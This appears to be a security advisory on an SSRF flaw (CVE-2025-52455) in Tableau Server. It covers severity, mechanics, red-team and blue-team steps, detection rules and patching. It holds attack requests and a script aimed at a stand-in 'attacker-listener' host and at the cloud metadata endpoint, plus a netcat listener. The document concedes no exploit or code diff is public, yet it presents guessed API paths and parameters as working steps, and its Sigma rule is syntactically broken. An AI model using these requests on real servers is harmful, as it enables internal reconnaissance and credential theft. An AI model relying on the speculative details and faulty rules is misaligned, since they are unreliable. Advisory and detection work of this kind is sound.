CVE-2025-52455

Executive Summary

CVE-2025-52455 is a Server-Side Request Forgery (SSRF) vulnerability affecting Salesforce Tableau Server on Windows and Linux platforms, specifically within the EPS Server modules. This flaw allows an attacker to spoof resource locations, potentially leading to internal network reconnaissance, data exfiltration, or further lateral movement. The vulnerability impacts Tableau Server versions before 2025.1.3, before 2024.2.12, and before 2023.3.19. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. However, given the nature of SSRF vulnerabilities and the widespread use of Tableau Server in enterprise environments, this issue warrants immediate attention and patching.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a server-side application vulnerability in Salesforce Tableau Server, a proprietary enterprise analytics platform. The risk is primarily to organizations that self-host Tableau Server, as the EPS Server modules are part of the core installation.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, which is likely a placeholder. Based on the vulnerability type (SSRF) and the affected components (EPS Server modules), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker may need a valid user account or the ability to trigger a request from the server.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – SSRF can be used to read internal resources.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L Estimated Base Score: 7.6 (High)

Threat Level: High. SSRF vulnerabilities in enterprise analytics platforms can lead to internal network scanning, access to cloud metadata endpoints (e.g., AWS, Azure), and potential pivot points for further attacks.

Deep Dive & Mechanics

The vulnerability resides in the EPS (Embedded Process Server) modules of Tableau Server. These modules handle various background tasks, including data source connections, extract refreshes, and subscription delivery. The SSRF flaw allows an attacker to craft a malicious request that causes the server to make an outbound HTTP request to an arbitrary URL, controlled by the attacker.

Root Cause: The EPS modules likely fail to properly validate or sanitize user-supplied URLs or hostnames when processing requests. This could occur in features such as:

• Custom data source connections
• URL-based extract refreshes
• Webhook or callback configurations
• Subscription delivery endpoints

Attack Scenario:

1. An attacker with low-privileged access to Tableau Server (or who can trick a user into performing an action) crafts a request that includes a malicious URL pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/ for AWS metadata).
2. The EPS module processes this request and makes an HTTP request to the attacker-specified URL.
3. The response is returned to the attacker, potentially exposing sensitive internal information.

Impact:

• Resource Location Spoofing: The attacker can make the server believe it is communicating with a legitimate resource while actually interacting with a malicious one.
• Internal Network Reconnaissance: The attacker can scan internal IP addresses and ports.
• Cloud Metadata Exposure: If Tableau Server is hosted in a cloud environment, the attacker can access cloud instance metadata, which may contain credentials and configuration data.
• Lateral Movement: The attacker can use the server as a proxy to attack other internal systems.

Vulnerable vs. Patched Code

No specific code diff is publicly available. However, the patch likely involves:

• Implementing strict URL validation (e.g., allowlisting of allowed domains/IPs).
• Disallowing requests to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, and cloud metadata IPs).
• Adding a proxy or gateway that enforces outbound request policies.

Hypothetical vulnerable code (pseudocode):

def process_data_source(url):
    # No validation
    response = requests.get(url)
    return response.text

Hypothetical patched code (pseudocode):

def process_data_source(url):
    if not is_allowed_url(url):
        raise ValueError("URL not allowed")
    response = requests.get(url, proxies={"http": "http://internal-proxy:8080"})
    return response.text

def is_allowed_url(url):
    parsed = urlparse(url)
    # Block private IPs and cloud metadata
    if is_private_ip(parsed.hostname) or is_cloud_metadata(parsed.hostname):
        return False
    # Allow only specific domains
    allowed_domains = ["*.tableau.com", "*.salesforce.com"]
    return any(parsed.hostname.endswith(domain) for domain in allowed_domains)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Tableau Server instance running a vulnerable version (e.g., 2023.3.18).
• A low-privileged user account on the server.
• A listener (e.g., Netcat, Python HTTP server) to receive outbound requests.

Steps:

1. Identify SSRF Entry Point: Look for features that accept URLs, such as "Add Data Source" or "Configure Subscription".
2. Craft Malicious Request: Use a tool like Burp Suite or cURL to send a request with a URL pointing to your listener.

   curl -X POST "https://vulnerable-tableau-server/api/3.12/sites/default/datasources" \
   -H "X-Tableau-Auth: <token>" \
   -d '{"connectionUrl": "http://attacker-listener:8080/test"}'
   

3. Verify SSRF: Check your listener for incoming connections.
4. Escalate: Attempt to access internal resources:

   curl -X POST "https://vulnerable-tableau-server/api/3.12/sites/default/datasources" \
   -H "X-Tableau-Auth: <token>" \
   -d '{"connectionUrl": "http://169.254.169.254/latest/meta-data/"}'
   

Expected Output: The attacker receives the response from the internal resource.

Blue Team

Detection:

• Monitor outbound HTTP requests from Tableau Server processes (e.g., tabadmin, tabprocess).
• Alert on requests to private IP ranges or cloud metadata IPs.
• Use network segmentation to restrict outbound traffic from Tableau Server.

Hunting:

• Search logs for URLs containing internal IPs or cloud metadata endpoints.
• Look for unusual patterns in data source connection strings.

Lab Setup:

1. Deploy a vulnerable Tableau Server in an isolated environment.
2. Set up a listener (e.g., nc -lvnp 8080) to capture outbound requests.
3. Use a test script to simulate the attack:

   import requests
   url = "http://vulnerable-tableau-server/api/3.12/sites/default/datasources"
   headers = {"X-Tableau-Auth": "test-token"}
   payload = {"connectionUrl": "http://attacker-listener:8080/test"}
   response = requests.post(url, headers=headers, json=payload)
   print(response.text)
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from Tableau Server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata IPs (169.254.169.254 for AWS/GCP, 168.63.129.16 for Azure).
  • Requests to unusual external IPs or domains not in the allowlist.
• File IOCs:
  • Modified configuration files in C:\Program Files\Tableau\Tableau Server\packages\ (Windows) or /opt/tableau/tableau_server/packages/ (Linux).
  • Unusual entries in tabadmin logs.
• Process IOCs:
  • tabadmin or tabprocess making unexpected outbound connections.
  • High CPU or memory usage in EPS modules.

Detection Engineering

YARA Rule

rule CVE_2025_52455_SSRF_Tableau {
    meta:
        description = "Detects SSRF exploitation attempts against Tableau Server EPS modules"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52455"
    strings:
        $ssrf1 = "connectionUrl" ascii wide nocase
        $ssrf2 = "169.254.169.254" ascii wide nocase
        $ssrf3 = "metadata" ascii wide nocase
        $ssrf4 = "internal" ascii wide nocase
    condition:
        any of ($ssrf1) and any of ($ssrf2, $ssrf3, $ssrf4)
}

Sigma Rule

title: CVE-2025-52455 SSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects outbound HTTP requests from Tableau Server to private IPs or cloud metadata endpoints
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52455
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\tabadmin.exe' or '\tabprocess.exe'
        DestinationIp:
            - '10.*'
            - '172.16.*'
            - '192.168.*'
            - '169.254.169.254'
            - '168.63.129.16'
    condition: selection
falsepositives:
    - Legitimate internal data source connections
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-52455 SSRF Exploitation Attempt"; flow:to_server,established; content:"connectionUrl"; http_client_body; nocase; pcre:"/(169\.254\.169\.254|metadata|internal)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Tableau Server to version 2025.1.3, 2024.2.12, or 2023.3.19 as applicable.
2. Network Segmentation: Restrict outbound traffic from Tableau Server to only necessary destinations using firewall rules.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing private IPs or cloud metadata endpoints.

Long-Term Mitigations:

• Implement strict input validation for all URL parameters.
• Use an allowlist of approved domains for outbound requests.
• Regularly audit Tableau Server configurations and logs.
• Enable logging for all EPS module activities.

Workarounds (if patching is not immediately possible):

• Disable unnecessary features that accept user-supplied URLs.
• Use a forward proxy to enforce outbound request policies.
• Monitor and alert on any outbound requests to suspicious destinations.

Valters IT